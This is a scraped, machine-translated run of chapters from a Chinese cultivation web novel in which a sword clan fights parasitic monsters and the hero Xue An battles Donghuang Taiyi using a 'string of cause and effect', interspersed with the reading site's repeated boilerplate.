    After doing all this, he also learned an important message from the man in black.


    That is the evil thing is about to attack the Shen family.


    Thinking of this, his sword eyebrows were slightly raised, and even if Huo Ran turned around, he strode towards the discussion hall.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2558 Shot by the Shen Family), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2559： Face to face

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Along the way, all the people who saw Shen Muyu were shocked, and then they backed away from the sides.


    Shen Muyu silently walked past it with a sinking face.


    It wasn''t until he left that these people looked at each other, their eyes filled with confusion.


    "What''s the matter? Why did the second son come back suddenly?"


    "Yeah! Shouldn''t he be above the Hundred Schools Conference now?"


    "Hey, the news that I just received said that evil things suddenly made chaos. Several sects have fallen, including the peasants. The second son shouldn''t be back because of this!"


    "Joke, what if it is evil things making chaos? Do they dare to provoke our Shen family?"


    "In short, it seems that the second son is very upset!"


    Just as everyone was talking about it, Shen Muyuye had already stepped into the gate of the sword tower and arrived in front of the chamber.


    The tall door was originally closed tightly, but when Shen Muyu came near, he opened it silently.


    Without any hesitation, Shen Muyu stepped into it.


    The door suddenly closed behind him, and a cloud of darkness rushed toward his face.


    There were no lights in the whole hall, only the dozens of long swords enshrined on the high platform radiated a slight glow, reflecting a figure sitting in the front of the head of the house.


    Shen Muyu stopped and bowed to salute, "Patriarch!"


    The call fell in this huge hall, which seemed extremely empty and lonely.


    The figure did not move, until a long time later did he hear him sigh slightly.


    "you''re back!"


    "Um!"


    "The sword intent that you just sent to the military family is also yours?"


    "Yes!"


    "Why do you do this?"


    "Because of what we did in the Shen family back then, I don''t want to be wrong again this time!"


    As soon as he said this, the atmosphere in the hall instantly stagnated.


    In the darkness, the eyes of the figure sitting in the upright position suddenly burst.


    "Are you reprimanding the Shen family?"


    But Shen Muyu was not afraid, and said loudly: "The disciple didn''t dare, but if I was wrong, I was wrong, and now I...I just want to know the truth back then!"


    "The truth back then..."


    Somehow, after hearing this sentence, the Patriarch murmured again, and then he let out a long sigh.


    "In fact, there is no truth, nothing more than some old things! I also know what you want to ask, but I can only tell you what I know!"


    Shen Muyu nodded, and then asked the first question.


    "The great chaos that spread to the whole sky back then, why can the Shen family take care of it alone?"


    After all, Shen Muyu looked at the Patriarch on the high platform with piercing eyes.


    After listening to Shen Muyu''s words, the head of the Shen family smiled slightly.


    "I know what you are worrying about. Are you afraid that there would be some unspeakable trade between the Shen family and the evil things, so that you can stand alone in the chaos?"


    Shen Muyu nodded.


    This question is indeed what he wants to know the most, because this question is a major matter of his own cultivation.


    That''s why he would leave the field directly and return to the Shen family to confront the Patriarch.


    This is not an exaggeration. In fact, from the moment Xue An told him about the various things of the year, the question was like a spike, deeply buried in Shen Muyu''s heart, making his Jianxin restless.


    If the Shen family had really made a deal with evil things, or even reached some kind of agreement, then Shen Muyu''s dignity would be instantly shattered.


    Because everything he was proud of turned out to be false, there is nothing more cruel than this in the world.


    This is equivalent to drawing a salary from the bottom of the pot, directly destroying the foundation of all Shen Muyu''s cultivation base.


    That''s why he was so eager.


    The head of the Shen family naturally understood this, so his voice became awe-inspiring.


    "You can rest assured about this. Although the Shen family is not a distinguished family handed down from ancient times, it also has its own pride."


    "It has been more than ten thousand years since Jianzu founded the Shen Family Foundation. During such a long period of time, the Shen family has declined and been brilliant, but no one has ever done anything against Jianxin. !"


    "So I can tell you upright now that the Shen family never had any dealings with evil things in the great chaos that year!"


    Hearing this, a big rock in Shen Muyu''s heart finally fell to the ground, but she couldn''t help asking.


    "Then why didn''t the Shen family take any action at the time, but instead took care of themselves and kept themselves out of the matter?"


    The owner gave a wry smile, "Do you really think that the Shen family was out of the way?"


    Shen Muyu shook his whole body, and his face was shaking.


    At this time, the Patriarch continued and said: "I was young when things happened, but I also noticed the difference in the atmosphere in the Shen family at that time."


    "First of all, the Shen family issued a strict order. From the elders and below, all disciples are strictly forbidden to go out for half a step. If there is any violation, they will not die."


    Shen Muyu listened quietly, her eyes flickering.


    "In fact, I had the same doubts as you back then. I don��t understand why the Shen family made this decision. , This can''t be justified anyway!"


    "So Shen Jingshu was also the Shen family who left at this time?" Shen Muyu said bitterly.


    "It seems that you know quite a lot. That''s right, sister Jingshu was so disappointed with the Shen family because of this incident, and finally left angrily!"


    "But until I became the head of the family, I didn''t understand what happened in the end, and also understood how wronged the seniors of the Shen family were!"


    As he said, the dozens of long swords enshrined on the high platform suddenly floated, emitting sharp sword lights.


    "Do you know what this is?"


    "Patriarch of the past dynasties sabre!"


    "Yes! But are you not surprised? UU reading The Shen family was founded more than 10,000 years ago, and it is well documented that even I count only three patrons, why there are more than a dozen pedestals. sword?"


    Shen Muyu was shocked, "Could it be..."


    "Yes, the rest of the sabers were left by the Patriarch who died in the war!"


    Shen Muyu''s eyes widened instantly, "But..."


    "I know what you want to say, do you want to ask why the Patriarch has never heard of the death of the Patriarch, and why the Patriarch participated in the war, but ordinary disciples were forbidden, right?"


    Shen Muyu nodded again.


    "In fact, the reason is very simple, because these Patriarchs did not die in the hands of evil things in the strict sense, but died under their own swords!"


    Hearing this, Shen Muyu felt even more confused.


    The Shen Family Patriarch Youyou said: "The evil things from the past were actually prepared, especially for the blood of our Shen family. But everyone in the Shen family is easy to be parasitic by evil things!"


    Hearing these words, Shen Muyu felt like he was struck by lightning, because he finally understood a terrible fact.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2559 Face-to-face questioning), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2560： What happened back then was as empty as a drum

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    After seeing the look on Shen Muyu''s face, the Patriarch couldn''t help but sighed, "It seems that you also understand. That''s right, the Patriarch of the Shen Family took the lead in the battle, but was conspired by evil things and parasitized!"


    "In order to prevent him from causing more harm, the senior officials of the Shen family killed him, but then the situation developed in an uncontrollable direction. The parasitism and annihilation of several senior leaders finally made the Shen family understand at that time. The evil thing has clearly cracked the blood of the Shen family!"


    "Even strong people with a high level of cultivation are inevitably parasitized by evil things, let alone these ordinary disciples. For this reason, there is a ban on foot!"


    "But after the senior Shen family knew this and wiped out the evil things that invaded, the vitality was already severely wounded. All the elites were wiped out, and even if the remaining ones were almost useless, they died. Can''t get out!"


    "After all, according to the situation at the time, if the Shen family went on the expedition, not only would it not be helpful, but it might give a great help to the invading evil! You should know that once the evil is parasitized, Shen Jia Jianxin will be in a short period of time. Broken, but before it is broken, it will explode with amazing combat power."


    "Now, do you understand the truth back then?"


    Shen Muyu began to tremble, half joy and anger in his heart.


    I am happy because my family did not take care of themselves, but for a special reason.


    The anger is because of how despicable the evil methods of invasion are.


    "But why did you never talk about these things?" Shen Muyu asked.


    "Speaking? Who do you talk to? Outsiders won''t believe it, and your own won''t ask this question, and do you think I will tell others the most fatal weakness of the Shen family?"


    "What weakness?"


    "The high-level Shens who died that year were the absolute elite of the Shen family. Because of their passing, the high-end combat power of the Shen family was completely sluggish and never recovered. Otherwise, do you think I can be the master of the family with my strength?"


    Shen Muyu was silent.


    Although he wanted to refute, he knew that what the owner said was indeed the truth.


    Over the years, the Shen family''s high-end combat power has been lacking, and even as a rising star, he is actually higher than the elders, even second only to the Patriarch and the treasurer.


    This is unthinkable in the profound sect.


    "Then what should we do now? If our Shen family''s blood is so easily parasitized, wouldn''t it be said that this time of evil rebellion, our Shen family will be helpless again?"


    Speaking of this, Shen Muyu remembered one more thing, and said with a gloomy expression: "Moreover, I also received a news that evil things will come to commit crimes soon. How to deal with this?"


    The Patriarch laughed, then stood up, and walked to the dozen or so long swords in suspension.


    The glow from above shines on his face, although it is blocked by layers of mist, but a delicate face is faintly discernible.


    "How can the sacrifices of so many people be in vain for so many years? In fact, since this incident, I and many of the seniors of the Shen family have been studying and exploring, trying to find out why the blood of the Shen family is easy to be parasitic. Although the process was very difficult, we found the loopholes in the end and made up for them through mental methods! This is the origin of the Kendo mental methods that each of you has to practice since childhood!"


    Hearing this, Shen Muyu finally bowed his head in convincing convincingly, "Patriarch, because I had doubts in my heart before, I was so offensive in my words, and I hope to forgive me!"


    The Shen Family Patriarch just smiled faintly, then waved his hand, "Well, I should have told you about these things a long time ago, because you are the best choice for the next generation Patriarch, just because I don''t want to divide your heart. , That''s why I kept it from you until now!"


    "Since you said that those evil things are about to invade the Shen family, then go ahead and prepare. After all, they didn''t teach them a deep lesson back then, this time you can''t let it go!"


    "Yes!"


    Shen Muyu retired very respectfully.


    In the blink of an eye, there was only one Patriarch left in this hall.


    He quietly looked at the swords of the Patriarchs of the past that were suspended in the sky.


    At this moment, a long sigh came from behind.


    "Do you really want to do this?"


    "Um!"


    With that said, the Patriarch slowly removed the saber from his waist and placed it on the altar.


    "Actually you can try other methods..."


    "It''s useless, and the final outcome of every Shen Family Patriarch should be to die on the battlefield. This is the case for the ancestors of the past generations, and I am no exception! This is my destiny, and I gladly accept it."


    Speaking of this, he raised his head and looked at the dome of the hall, and said with a smile: "To be honest, haven''t you seen all these with your own eyes?"


    "But... no matter how much I see, I still can''t bear it! Especially you''re still the Shen Family Patriarch who has been with me for the longest time!"


    As he spoke, the brilliance appeared above the dome and gradually gathered into a figure.


    If Shen Muyu were present now, he would definitely exclaim, because the figure that appeared was the great treasurer.


    "I''m leaving now, don''t you want to show your true colors?" The Shen Family Patriarch laughed.


    The frowning big shopkeeper sighed slightly, and then a brilliance flashed by, and looking at her at this time, she had become a beautiful woman with all kinds of charming.


    The head of the Shen family chuckled, "Is it pleasing to look at it like this? I really don''t know why you are so obsessed with the image of an old man!"


    "Because to me, it doesn''t matter if it''s a male or female ugly guy, it''s actually the same!"


    As he said, this figure turned into a handsome young man, but no matter what it became, the melancholy in his eyes was always there. UU reading


    The head of the Shen family nodded, and suddenly said in a very solemn tone: "Thank you for so many years!"


    As he said, he bowed his hand as a salute.


    The big shopkeeper dodged and shook his head and said, "Are you guys all the same? The previous generations of Patriarchs also said thank you before going to the battlefield, but I haven''t seen anyone come back!"


    "So I don''t want your thanks, I just want you to come back safely!"


    The Shen Family Patriarch chuckled, "Okay, I promise you! But this thank you is also from the heart, after all...for so many years, you have suppressed the luck of the Shen Family."


    "As the sword tower left by him, this is what I should do, no thanks."


    That''s right!


    This big treasurer, the second person of the Shen family, is actually this sword tower.


    The head of the Shen family just wanted to say something. At this moment, the two turned their heads and looked out the window, and then said in unison.


    "coming!"


    With the voice, there was a loud boom in the distance.


    It was as if the void had turned into a giant drum, and a giant was walking on it.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2560 What happened in the past is like a drum), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2561： Rebound monster

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    In an instant, the entire Shen family boiled.


    Shen Muyu took the lead and rushed to the periphery of the Shen Family Star Territory first.


    Immediately following them were Jianxiu who stayed at home.


    Then they were shocked by the scene that came into view.


    I saw a big fat man slowly walking in the depths of the void.


    That''s right!


    It is a huge humanoid creature with a head and limbs.


    The figure of this humanoid creature is so fat that it has reached a position comparable to a star.


    And because of the excessive amount of fat accumulated in the body, the skin became tight, and strange patterns were formed on the pale surface.


    And every time it takes a step, these fats will agitate like water waves, causing the skin to make a scalp squeaky squeaking sound, which seems to burst at any time.


    Everyone present was stunned.


    "This...what the **** is this monster!" Someone whispered in shock.


    "Whatever it is, if you dare to show off in front of our Shen family, then **** it!"


    Some people sneered coldly and shot out their swords angrily.


    Although the best of the younger generation have followed Shen Muyu to the Yin Yang family to participate in the Hundred Schools Conference, and they have not returned until now.


    But the people who can appear here at this moment are not ordinary people, at least this sword is awe-inspiring killing, quite impressive.


    But facing this sword, the fat monster didn''t even lift his eyelids, and even continued to move forward.


    puff!


    With a muffled noise like defeating Ge, the sword was hitting the fat monster''s body, and then....


    Then this air-conditioned sword instantly shattered and turned into nothing.


    During the whole process, even the fat monster''s oily skin was not touched a bit.


    The audience was shocked.


    The complexion of the sword maker became extremely ugly, and then he took a deep breath and gathered the power of his body to cut out a sword again.


    This sword is many times more powerful than the one just now, and it can even be said that it has exerted all the strength of this person.


    But when the sword pierced the void, it appeared in front of the fat monster and slashed down severely.


    A frightening scene happened.


    Seeing that the fat on this fat monster instantly transformed into a very elastic object, Jianguang couldn''t store it at all after it was cut on it.


    Instead, he was instantly bounced off by it, and then slashed towards the person who released the sword at a faster speed along the path.


    This can be said to be beyond everyone''s expectations, which naturally also includes this sword maker.


    He never dreamed that instead of hurting the monster, the sword he issued would be bounced back by it.


    After he reacted, it was too late to think about hiding.


    The sword shadow in his pupils increased rapidly, and this person looked pale, with only one thought in his mind.


    Is he going to die under the sword he slashed out?


    That''s really an unheard of death!


    But at this moment, a glorious spur rushed in, and it happened to collide with the sword light in front of this person.


    boom!


    Accompanied by a muffled sound, the person who drew the sword was shaken and withdrew dozens of steps away, and his face was also scratched by the chaotic sword qi fragments, but his life was saved anyway.


    Then everyone''s eyes focused on Shen Muyu who was standing in the front.


    The brilliance just now came from him.


    I saw him standing in the void with a sinking face, and said coldly: "This evil thing is weird, it seems to be able to rebound all the damage, don''t take it rashly!"


    As he said, Shen Muyu raised his eyebrows suddenly, and an invisible sword intent easily crossed the void in an instant, came to the top of the fat monster''s head, and then smashed down fiercely.


    The whole process was almost at its peak, and the fat monster had no time to react, and then a sword intent was severely struck in his head.


    Although it was just a sword intent, it was from Shen Muyu''s hand, and it was still extremely powerful.


    Therefore, hearing a crisp sound, the tight skin of the fat monster finally groaned overwhelmedly, and then a huge mouth appeared.


    The yellowish-brown thick liquid rushed out, even if they were far apart, it was still disgusting.


    After the fat monster was injured, it was not blood, but fat.


    There was a commotion in the court, and many people breathed a sigh of relief.


    In any case, Shen Muyu''s sword proved that this fat monster was not invulnerable.


    But at this moment, Shen Muyu suddenly snorted, and then the same scar appeared on the same position on his forehead.


    As soon as this scar came out, blood gushed out, and half of Chen Muyu''s cheek was dyed red.


    "Second Young Master!" someone exclaimed.


    At the same time, the fat monster''s head injury recovered in the blink of an eye, and he continued to walk towards the Shen Family Star Territory indifferently.


    Shen Muyu finally felt a trace of despair.


    Is this the power of evil things?


    He thought he could be invincible with the sword in his hand, but he didn''t expect to be taught by Xue An first, and then he felt powerful and strange power in this evil thing.


    Did all the patrons of the year encounter such monsters?


    He was thinking about it, and at this moment, he only heard a calm voice coming from behind.


    "Evil of this level was just a small and inconspicuous role in the battle of the year, and it is not worth mentioning!"


    Along with the voice, a sword photoelectric switch arrived, and then there was a figure whose face was covered by the mist of chaos.


    "Patriarch!"


    "I have seen the Patriarch!"


    Amidst the noise, the Shen Family Patriarch gave a chuckle, and then said lightly without looking back.


    "Be optimistic, I will tell you how to deal with these evil things today!"


    Seeing the Shen Family Patriarch gave a soft sigh, UU reading plunged into the void with his hand, and jerked out.


    A majestic long sword was in his hand, and then he slashed it with an understatement.


    boom!


    The sword energy suddenly turned into a huge sword spanning tens of thousands of miles, and it was cut down across the sky.


    When this fat monster, who had just been fearless, faced the sword that fell from the sky, the fat all over his body trembled quickly, and then it slowly raised its head, and the pair was squeezed by the fat to only a thin strip. Sewing''s eyes were full of horror.


    It wants to dodge and resist.


    But under the shocking sword of the Shen Family Patriarch, all this is destined to be an unfinished idea forever.


    puff!


    Jian Guang cut off from the top of the fat monster''s head, and then moved forward without hindrance like a hot knife cutting butter.


    Almost in the blink of an eye, the fat monster was split into two.


    The viscous, fishy fatty liquid splashed out, and the corroded space was creaking, but when the fat monster was cut in half.


    The extremely fat body began to shrink and wither quickly, and when it landed, there were only two shriveled human skins left.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorite" below to record the reading record of this time (Chapter 2561 Rebound Monster), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2562： Who said I was going to lose?

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    One sword!


    The fat monster who just made everyone helpless died just now.


    During the whole process, the Shen family''s Patriarch didn''t feel embarrassed at all.


    As for the so-called rebound damage, it did not appear to him at all.


    Shen Muyu''s mouth opened slightly.


    Once upon a time, under the praise of everyone and his own penance, he really thought that his strength was close to that of the Patriarch.


    But until today, he didn''t realize the huge gap between himself and the Patriarch, which was almost insurmountable.


    Not to mention anything else, the sword intent displayed by this sword alone is incredible to the extent that it is incredible.


    It seems that he has noticed Shen Muyu��s astonishment, and the head of the Shen family said indifferently: ��People must be arrogant but not arrogant. You were beaten by Xue An because you walked too smoothly before, but this is for you. It��s not a bad thing either!"


    "Because after you pass this level, you will be greeted with tremendous progress!"


    "But now..." The Shen Family Patriarch''s sword intent appeared all over his body.


    "What you should do more is to hold the sword in your hand, and then kill all evil things that appear in front of you!"


    Following the voice, I only heard the thunderous drums deep in the void, and then I saw evil creatures that were not inferior to the fat man before, and walked towards the Shen family.


    The large number almost obscures the starry sky.


    Seeing this scene, all the Shen family members present turned pale.


    Just a fat evil thing just made it so tricky, now there are so many, how can this battle be fought?


    At this moment, he saw the Patriarch of the Shen family breathe out, and then stretched out his hand again to fetch the sword in the void.


    "All Shen Jiajian repair orders!"


    With an order, everyone in the audience bowed their heads.


    "As a sword repairman, the first thing to do is to unconditionally believe in the sword in your hand. Only when the sword intent is connected can you be unprofitable and not afraid of any backlash!"


    There is no weak person who can appear here, so this Shen Family Patriarch is just a reminder, and everyone understands the truth in an instant.


    After that, Shen Muyu was the first one to take the shot. He saw the color of determination in his eyes, and then he slashed out with a sword.


    puff!


    As the sword light passed, the arm of the leading fat monster fell, but this time Shen Muyu was not hurt by any rebound.


    Seeing this scene, the Shen family Jianxiu all present their swords one after another.


    For a time, countless sword lights converged into a mighty torrent, bombarding these fat evil things.


    Hey!


    At the beginning, the muffled sound of the sword energy across the flesh can still be distinguished, but later, because the sword light was too dense, the muffled sound became a piece.


    The tawny fat sprayed out, messing up the void.


    But no matter what, the offensive of these fat evil things was blocked by life.


    And seeing this scene, the man in black who was watching the battle in the distant void couldn''t help but sneer.


    "It seems that the war evil that you optimized specifically for Shen Jiajianxiu didn''t play a big role!"


    At first glance he seemed to be talking to the void, but when he finished speaking, a group of gloomy darkness in the void suddenly began to surge, and then a roar came from within.


    "Diablo, you don''t talk coldly there, no matter how much I am better than you, at least I haven''t been wiped out by the second son of the Shen family with a sword!"


    The black-clothed man called Diablo suddenly sharpened his eyes.


    "My subordinates have not been specially optimized. Naturally, it is impossible to withstand Shen Muyu''s sword aura. Instead, it is you. Lord Donghuang gave you so many resources and permissions, and in the end you developed such a bunch of waste? "


    "Trash? Who said it was trash! I''m telling you, these fat guys were specially designed for Jianxiu Shen, and they were perfectly restrained. But who would have thought that the current owner of the Shen family, Du Jingsheng, would be so powerful!"


    Speaking of this, the voice of the black shadow became gritted, "I suspect that his strength has reached the level of the ancestors of the Shen family in the battle ten thousand years ago, that is, the power of the heavenly sword, otherwise it would be impossible to see at a glance. Out of the flaws of my subordinates!"


    Dia Hei glanced at his mouth when he heard the words, "Fen Hong, here is you and me, so you don''t need to excuse yourself anymore!"


    "The most important thing now is what we should do next! After all, Lord Donghuang has ordered, let us take advantage of this period of chaos and reap the entire sky as soon as possible!"


    "I know this naturally. In fact, these fat guys are just my first hand. I also prepared more wonderful gifts for the Shen family behind me."


    "Oh? A more exciting gift? Then you can take it out quickly!" Diablo said impatiently.


    "Hey, why did I find you so anxious?"


    Diablo sighed, "It''s true that my subordinates have lost most of them now. It is impossible for me to complete the task on my own. That''s why I wanted you to quickly wipe out the Shen family and help me!"


    "Of course, I definitely won''t let you help me in vain, I will have to thank you again then!"


    "Hehe, this is almost the same, since you are so sincere, then I will help you once, but during this time you have to listen to my dispatch!"


    Diablo lowered his head, "This is natural!"


    Just as these two evil creatures reached a cooperation agreement, among the hundred battlefields of the Yin and Yang family, the situation of Xue An and others was already extremely dangerous.


    At this moment, they have been fighting for a whole day in the battlefield.


    In this day, hundreds of families headed by Yue Shifang paid a heavy price.


    There are many people permanently sleeping in this battlefield.


    Even if it survives, it is still scarred.


    As for Xue An, although he can still maintain a fighting state at this moment, both his aura and his cultivation have inevitably declined. UU reading


    And this was also due to the faint golden color in Xue An''s eyes, which made Dong Huang Taiyi feel that he was thrown away from rats.


    Otherwise, it is possible that all of the hundreds of families now have no place to bury their bodies.


    But even so, after a day''s consumption, the golden light in Xue An''s eyes has dimmed to an almost imperceptible state.


    Seeing this scene, Dong Huang Taiyi couldn''t help sneering.


    "Xue An, you have all your cards now, and when the golden light in your eyes dissipates completely, it will be the time for all of you to die!"


    "So at this dying moment, I just want to ask you, have you ever regretted it?"


    "Regret? Why should I regret it? Do you regret not sharing the same evil things with you? Or regret the long journey of revenge for the Chinese people?"


    Xue An''s voice was a little hoarse, but the sarcasm on his face was so strong.


    "I know what you want to hear, you want me to beg for mercy, let me give up my dignity and kneel in front of you to confess what I have done, right?"


    "Jie Jie, you seem to be sober, Xue An!"


    Xue An also smiled, "Of course I am sober, because..."


    "Who said I lost this battle?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 2562 Who said I am going to lose?) Reading record, next time you open the bookshelf to see it!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2563： The string of cause and effect

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Hahaha!" Donghuang Taiyi burst into laughter when he heard the words.


    "Xue An, you dare to be so stubborn when you die, it looks like you really don''t know whether you live or die, or not, today I will let you see what the real power is!"


    As he said, he saw his body disappear instantly, replaced by a vast and strange starry sky.


    In the starry sky, there are extremely scarlet stars everywhere.


    These stars are arranged in a mysterious regular combination, and it is unstoppable to slide into the abyss of madness just by looking at them.


    Some of the less powerful people began to go crazy on the spot.


    "Close your eyes, don''t look at this starry sky!" The Nine Heavens Profound Girl exclaimed.


    In fact, there are people who have closed their eyes and turned their heads without her to say, afraid to look directly at the starry sky.


    But the effect of this move is minimal.


    Because even if you don''t look at this starry sky, the spiritual pollution it brings is still not weakened at all, but it is getting worse.


    Gradually, even those who were in the realm of a Saint, their eyes began to become trance.


    That is a sign that their minds are gradually losing ground.


    Seeing this scene, Donghuang Taiyi''s arrogant laugh came from the stars.


    "Xue An, have you seen it? This is just a tiny bit of my ability. You can''t bear it like this. What are you going to fight with me?"


    At the moment, only Xue An remained calm.


    I saw him staring directly at the starry sky with a cold face, as if completely unmoved.


    "When the elite of these heavens and outer heavens are all crazy and become my puppet, you will die under the hands of the person you have always wanted to protect. That scene... it''s really exciting to think about it!"


    "And when you die, the outer heavens will fall completely. As for the heavens that you are thinking of..."


    "They will also completely forget you, as if you have never appeared before, hahahahaha Xuean, how do you feel when you hear this, are you desperate?"


    At that time, Donghuang Taiyi''s crazy and sometimes weird voice came in his ears, just like the whispers of a devil, trying to destroy Xue An''s mind.


    But at this moment, Xue An''s eyes were lit up a little bit.


    As if not affected by these words at all.


    Xue An slowly took a deep breath, and then looked directly at the Eastern Emperor Taiyi opposite.


    "I admit that your abilities are indeed very powerful and almost incomprehensible, but do you really think that I have no chance of a comeback?"


    "Haha, comeback? Now everyone is shrouded in my mental pollution, how do you want to come back?"


    Donghuang Taiyi''s voice was full of inadvertent banter and ridicule, as if he was listening to Xue An telling a big joke.


    But soon he couldn''t laugh, because at this moment, Xue An suddenly burst into a blood-red flame.


    These flames transform into the appearance of a blossoming lotus during the ascent, and swirl and extinct, full of illusory beauty.


    But it is this kind of beauty that gives people a strong threat.


    "Red Lotus Industry Fire? Xue An, this is the first few times you have used this ability? Isn''t it because I haven''t given up on it?" Donghuang Taiyi said with a sneer.


    "Although this ability of yours is indeed worthwhile, it is even amazing, but you still don''t understand that for my existence, this ability can''t hurt me at all!"


    "So you should give up honestly!"


    Xue An listened silently, until Donghuang Taiyi finished speaking, he raised his eyebrows slightly.


    "Are you finished? After that, it''s my turn!"


    When the words fell, Xue An''s vigor was seen, and the red lotus industry fire suddenly spread, almost covering the entire battlefield.


    Donghuang Taiyi sneered, "It''s really obsessive! Not to mention, then I will simply break the last trace of delusion in your heart."


    With that, the starry sky began to rotate slowly, and then a powerful suction swept the entire battlefield, drawing all the people who had been spiritually polluted into it.


    But at this moment, an inexplicable ripple suddenly came.


    Eastern Emperor Tai was stunned one by one, and then a scene of wonders slowly opened.


    But seeing the red lotus fire in the sky, red silk threads gradually emerged in the space.


    These silk threads have no entity, but are closely connected to everyone on the battlefield, and then interlaced and reciprocate with each other, forming a mess that no one can solve.


    At the same time, there are countless silk threads penetrating through the space barriers, extending to unknown places outside the battlefield.


    All in all, the entire space is like an orange petal peeled off, showing its veins.


    And the thickest one was actually from the East Emperor Taiyi in the starry sky.


    I saw that this red thread with the thickness of an arm was completely unobstructed and affected by the strange starry sky, directly submerged in it, and connected to the hidden East Emperor Taiyi.


    "This... is this the string of cause and effect?"


    The Eastern Emperor didn''t recognize what the thread was at first, but it was only after connecting with himself that he suddenly shook and thought of some mysterious existence.


    Xue An said lightly: "Yes, it is the string of cause and effect!"


    The starry sky swayed slightly, as if it had been frightened in some way.


    Donghuang Taiyi did feel the shock.


    It''s all because of this string of cause and effect, which is too mysterious and unpredictable.


    In fact, even as an unknowable existence, he has only heard about it, and it is the first time that he has seen it with his own eyes.


    The so-called string of cause and effect, to put it bluntly, is to visualize the causal relationship that connects everything together. UU Reading www.uukanshu.cOM


    All things in the world, whether you are a strong man who has reached the summit, or an ordinary mortal, even if it is just a stone, as long as you are in time, there must be cause and effect.


    It''s just that ordinary people, even ordinary strong people, can''t and don''t have the energy to break through the fog of cause and effect.


    There is no other reason, but the cause and effect are too complicated.


    It is possible that a powerful man with a high level of authority will eventually end up with a weed growing on the side of the road.


    It is also possible that a mortal who was still ordinary yesterday got a great opportunity overnight and has since embarked on the pinnacle of life.


    All this comes from cause and effect, but no one can explain it, so some people believe in fate.


    In fact, Xue An before, even though he possessed the supernatural powers of causality, at that time he could only use it with very superficial methods.


    Such as reversal, or retrospective and so on.


    This is not because he doesn''t want to go further, it is because this kind of talent is completely different from the cultivation base.


    The cultivation base can be increased through hard training, but there is no way to exercise the talented supernatural powers, and can only wait for the opportunity to grow.


    Therefore, Xue An seldom used this causal force later.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2563 The Chord of Cause and Effect), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2564： Face alone

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    It is because compared to his strength, this causal supernatural power is already very weak, and it is very tasteless when facing a strong existence.


    But just today, when he fought Donghuangtai in this battlefield, Xue An''s causal supernatural powers unexpectedly went one step further and directly stepped into a whole new realm.


    At this moment, Xue An is like an omnipotent **** who can see through the connections behind everything and realize it.


    Xue An stood in the dense net of cause and effect, and said lightly: "Yes, it is the string of cause and effect!"


    With that, Xue An stretched out his hand and gently fiddled with a thread in front of him.


    The string of cause and effect trembles quickly, and then the threads that are connected to it also tremble slightly.


    In an instant, a large arena in the distance of the battlefield shattered and collapsed into nothingness.


    During the whole process, Xue An did not leak any aura, the only thing he did was to lightly fiddle with the string of cause and effect.


    This terrifying and indefensible lethality made Eastern Emperor Taiyi''s heart trembled.


    But he quickly settled down and said with a sneer: "Xue An, your supernatural powers are indeed impressive, but I don''t believe that you will not pay the price for using such a heaven-defying ability."


    "After all, this world strictly follows equivalent exchange!"


    really.


    At this moment, Xue An''s complexion became paler, and even his back that had been as tall as a sword was slightly rickety, as if he was under tremendous pressure.


    But he just sneered when he heard the words, "You are right, this world is indeed equivalent exchange, but if I can kill you, then I am willing to pay any price!"


    With the voice, Xue An stepped on the void with his toes, and accompanied by the trembling of a certain cause and effect string, he disappeared in an instant, and then appeared in the eastern emperor Taiyi connected to the starry sky, thicker than the silk thread of his arm, one The palm fell.


    No one can exist without cause and effect, not even Donghuang Taiyi at this moment.


    And once his string of cause and effect is cut, then even he will encounter unknowable danger.


    So when he saw Xue An slashed down with a palm, Donghuang Taiyi snorted, and then the huge strange starry sky quickly converged, and his figure resurfaced.


